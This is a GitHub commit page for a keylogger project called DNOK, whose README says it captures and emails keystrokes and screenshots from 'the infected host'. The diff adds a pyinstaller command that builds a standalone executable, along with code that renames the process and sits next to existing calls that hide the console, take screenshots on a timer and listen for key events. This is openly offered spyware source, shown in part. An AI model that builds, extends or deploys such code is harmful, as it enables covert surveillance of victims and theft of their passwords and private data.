Skip to content

Commit

Permalink
Updated README with an example of the process running
Browse files Browse the repository at this point in the history
Updated process icon
Updated process name
  • Loading branch information
DarmorGamz committed Aug 8, 2024
1 parent bc3c7f0 commit c27e054
Show file tree
Hide file tree
Showing 5 changed files with 26 additions and 1 deletion.
Binary file added .images/process_running_example.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
7 changes: 7 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,8 @@

DNOK (Definitely-Not-A-Keylogger) is a basic program that can capture and email events and screenshots done on the infected host.

<img width="100%" src=".images/process_running_example.png"></img>

<!-- GETTING STARTED -->
## Getting Started

Expand Down Expand Up @@ -65,6 +67,11 @@ source venv/bin/activate
pip install -r requirements.txt
```

#### Create Executable
```bash
pyinstaller --onefile --icon=icon.jpg --name DefinitelyNotAKeylogger main.py
```

<p align="right">(<a href="#readme-top">back to top</a>)</p>

<!-- CONTRIBUTING -->
Expand Down
Binary file added icon.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
16 changes: 16 additions & 0 deletions main.py
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,21 @@
import time
import threading
from PIL import ImageGrab
import ctypes
import psutil

def set_process_name(new_name):
ctypes.windll.kernel32.SetConsoleTitleW(new_name)

# Verify if the console title is set
current_process = psutil.Process()
print(f"Process name: {current_process.name()}, Console title: {new_name}")

# def set_process_name(new_name):
# kernel32 = ctypes.windll.kernel32
# process_handle = kernel32.GetCurrentProcess()
# kernel32.SetConsoleTitleW(new_name)
# kernel32.CloseHandle(process_handle)

def capture_screenshot():
screenshot = ImageGrab.grab()
Expand Down Expand Up @@ -63,6 +78,7 @@ def on_release(key):

if __name__ == "__main__":
hide_console()
set_process_name("DefinitelyNotAKeylogger")

screenshot_interval = 10 # Interval in seconds
threading.Thread(target=screenshot_timer, args=(screenshot_interval,), daemon=True).start()
Expand Down
4 changes: 3 additions & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
@@ -1,2 +1,4 @@
pynput==1.7.7
pillow==10.4.0
pillow==10.4.0
psutil==6.0.0
pyinstaller==6.9.0

0 comments on commit c27e054

Please sign in to comment.